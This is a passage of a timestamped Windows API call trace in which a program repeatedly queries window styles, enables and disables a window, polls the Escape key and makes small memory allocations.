bEnable=0) returned 0 [0206.333] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0206.333] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0206.333] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0206.333] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0206.334] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0206.334] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0206.334] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0206.334] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0206.334] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0206.334] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0206.334] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0206.334] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0206.334] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0206.335] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0206.335] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0206.335] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0206.335] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0206.335] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0206.335] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0xb2b44d0 [0206.336] IMalloc:Free (This=0x7fefecb5380, pv=0xb2b44d0) [0209.268] GetAsyncKeyState (vKey=27) returned 0 [0209.268] GetCurrentThreadId () returned 0xbdc [0209.268] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0209.268] GetDesktopWindow () returned 0x10010 [0209.268] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0209.268] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0209.268] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0209.268] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0209.268] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0209.268] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0209.269] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0209.269] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0209.269] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0209.269] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0209.269] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0209.269] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0209.269] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -1946157056 [0209.269] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0209.269] IsWindowEnabled (hWnd=0x20360) returned 0 [0209.269] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0209.269] RemovePropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0209.269] EnableWindow (hWnd=0x20360, bEnable=1) returned 1 [0209.270] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0209.270] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0209.270] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0209.270] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0209.270] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0209.270] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0209.270] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0209.271] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0209.271] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0209.271] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0209.271] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0209.271] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0209.271] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0209.271] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0209.271] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0209.271] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0209.271] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0209.272] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0209.272] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x76a1960 [0209.272] IMalloc:Free (This=0x7fefecb5380, pv=0x76a1960) [0209.356] GetCurrentThreadId () returned 0xbdc [0209.356] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0209.356] GetDesktopWindow () returned 0x10010 [0209.357] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0209.357] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0209.357] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0209.357] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0209.357] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0209.357] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0209.358] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0209.358] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0209.358] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0209.358] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0209.371] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0209.371] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0209.372] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -2080374784 [0209.372] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0209.372] IsWindowEnabled (hWnd=0x20360) returned 1 [0209.372] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x0 [0209.372] SetPropA (hWnd=0x20360, lpString=0xc121, hData=0x1) returned 1 [0209.372] EnableWindow (hWnd=0x20360, bEnable=0) returned 0 [0209.372] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0209.373] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0209.373] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0209.373] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0209.373] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0209.373] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0209.373] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0209.373] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0209.373] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0209.373] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0209.373] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0209.375] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0209.375] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0209.376] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0209.376] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0209.376] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0209.376] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0209.376] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0209.377] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x7d9c310 [0209.377] IMalloc:Free (This=0x7fefecb5380, pv=0x7d9c310) [0212.339] GetAsyncKeyState (vKey=27) returned 0 [0212.339] GetCurrentThreadId () returned 0xbdc [0212.339] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0212.339] GetDesktopWindow () returned 0x10010 [0212.340] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0212.340] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0212.340] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0212.340] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0212.340] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0212.340] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0212.340] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0212.340] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0212.340] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0212.341] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0212.341] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0212.341] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0212.341] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -1946157056 [0212.341] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0212.341] IsWindowEnabled (hWnd=0x20360) returned 0 [0212.341] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0212.341] RemovePropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0212.341] EnableWindow (hWnd=0x20360, bEnable=1) returned 1 [0212.341] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0212.341] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0212.341] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0212.342] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0212.342] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0212.342] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0212.342] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0212.342] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0212.342] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0212.342] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0212.342] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0212.342] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0212.342] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0212.343] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0212.343] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0212.343] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0212.343] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0212.343] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0212.343] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x76a1960 [0212.344] IMalloc:Free (This=0x7fefecb5380, pv=0x76a1960) [0212.420] GetCurrentThreadId () returned 0xbdc [0212.420] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0212.420] GetDesktopWindow () returned 0x10010 [0212.421] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0212.421] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0212.421] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0212.422] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0212.422] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0212.422] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0212.422] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0212.422] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0212.422] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0212.422] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0212.422] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0212.422] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0212.422] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -2080374784 [0212.422] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0212.422] IsWindowEnabled (hWnd=0x20360) returned 1 [0212.422] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x0 [0212.422] SetPropA (hWnd=0x20360, lpString=0xc121, hData=0x1) returned 1 [0212.423] EnableWindow (hWnd=0x20360, bEnable=0) returned 0 [0212.423] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0212.423] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0212.423] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0212.423] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0212.423] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0212.423] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0212.423] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0212.424] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0212.424] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0212.424] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0212.424] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0212.424] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0212.424] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0212.424] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0212.424] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0212.424] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0212.424] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0212.425] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0212.425] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x7da0170 [0212.425] IMalloc:Free (This=0x7fefecb5380, pv=0x7da0170) [0215.459] GetAsyncKeyState (vKey=27) returned 0 [0215.459] GetCurrentThreadId () returned 0xbdc [0215.459] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0215.459] GetDesktopWindow () returned 0x10010 [0215.460] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0215.460] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0215.460] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0215.460] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0215.460] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0215.460] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0215.460] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0215.460] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0215.461] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0215.461] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0215.461] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0215.461] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0215.461] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -1946157056 [0215.461] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0215.461] IsWindowEnabled (hWnd=0x20360) returned 0 [0215.461] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0215.461] RemovePropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0215.461] EnableWindow (hWnd=0x20360, bEnable=1) returned 1 [0215.461] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0215.462] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0215.462] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0215.462] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0215.462] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0215.462] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0215.462] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0215.462] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0215.462] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0215.462] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0215.463] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0215.463] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0215.463] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0215.463] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0215.463] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0215.463] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0215.463] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0215.463] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0215.464] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x76a1960 [0215.464] IMalloc:Free (This=0x7fefecb5380, pv=0x76a1960) [0215.538] GetCurrentThreadId () returned 0xbdc [0215.538] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0215.538] GetDesktopWindow () returned 0x10010 [0215.539] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0215.539] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0215.539] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0215.539] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0215.539] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0215.539] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0215.540] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0215.540] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0215.540] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0215.540] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0215.540] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0215.540] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0215.540] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -2080374784 [0215.540] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0215.540] IsWindowEnabled (hWnd=0x20360) returned 1 [0215.540] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x0 [0215.540] SetPropA (hWnd=0x20360, lpString=0xc121, hData=0x1) returned 1 [0215.540] EnableWindow (hWnd=0x20360, bEnable=0) returned 0 [0215.541] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0215.541] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0215.541] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0215.541] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0215.541] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0215.541] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0215.541] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0215.541] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0215.542] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0215.542] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0215.542] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0215.542] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0215.542] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0215.542] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0215.542] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0215.542] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0215.542] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0215.543] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0215.543] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x7d9e430 [0215.543] IMalloc:Free (This=0x7fefecb5380, pv=0x7d9e430) [0218.494] GetAsyncKeyState (vKey=27) returned 0 [0218.494] GetCurrentThreadId () returned 0xbdc [0218.494] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0218.494] GetDesktopWindow () returned 0x10010 [0218.495] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0218.495] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0218.495] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0218.495] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0218.495] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0218.495] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0218.496] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0218.496] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0218.496] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0218.496] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0218.496] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0218.496] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0218.496] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -1946157056 [0218.496] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0218.496] IsWindowEnabled (hWnd=0x20360) returned 0 [0218.496] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0218.496] RemovePropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0218.496] EnableWindow (hWnd=0x20360, bEnable=1) returned 1 [0218.497] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0218.497] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0218.497] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0218.497] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0218.497] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0218.497] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0218.497] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0218.497] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0218.497] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0218.497] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0218.498] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0218.498] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0218.498] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0218.498] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0218.498] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0218.498] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0218.498] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0218.498] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0218.499] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x76a1960 [0218.499] IMalloc:Free (This=0x7fefecb5380, pv=0x76a1960) [0218.552] GetCurrentThreadId () returned 0xbdc [0218.552] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0218.552] GetDesktopWindow () returned 0x10010 [0218.552] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0218.553] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0218.553] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0218.553] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0218.553] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0218.553] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0218.554] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0218.554] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0218.554] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0218.554] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0218.554] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0218.554] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0218.554] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -2080374784 [0218.554] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0218.554] IsWindowEnabled (hWnd=0x20360) returned 1 [0218.554] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x0 [0218.554] SetPropA (hWnd=0x20360, lpString=0xc121, hData=0x1) returned 1 [0218.554] EnableWindow (hWnd=0x20360, bEnable=0) returned 0 [0218.555] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0218.555] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0218.555] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0218.555] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0218.555] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0218.555] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0218.555] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0218.555] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0218.556] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0218.556] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0218.556] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0218.556] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0218.556] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0218.556] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0218.556] GetWindowLongPtrA (hWnd=0x3018c, 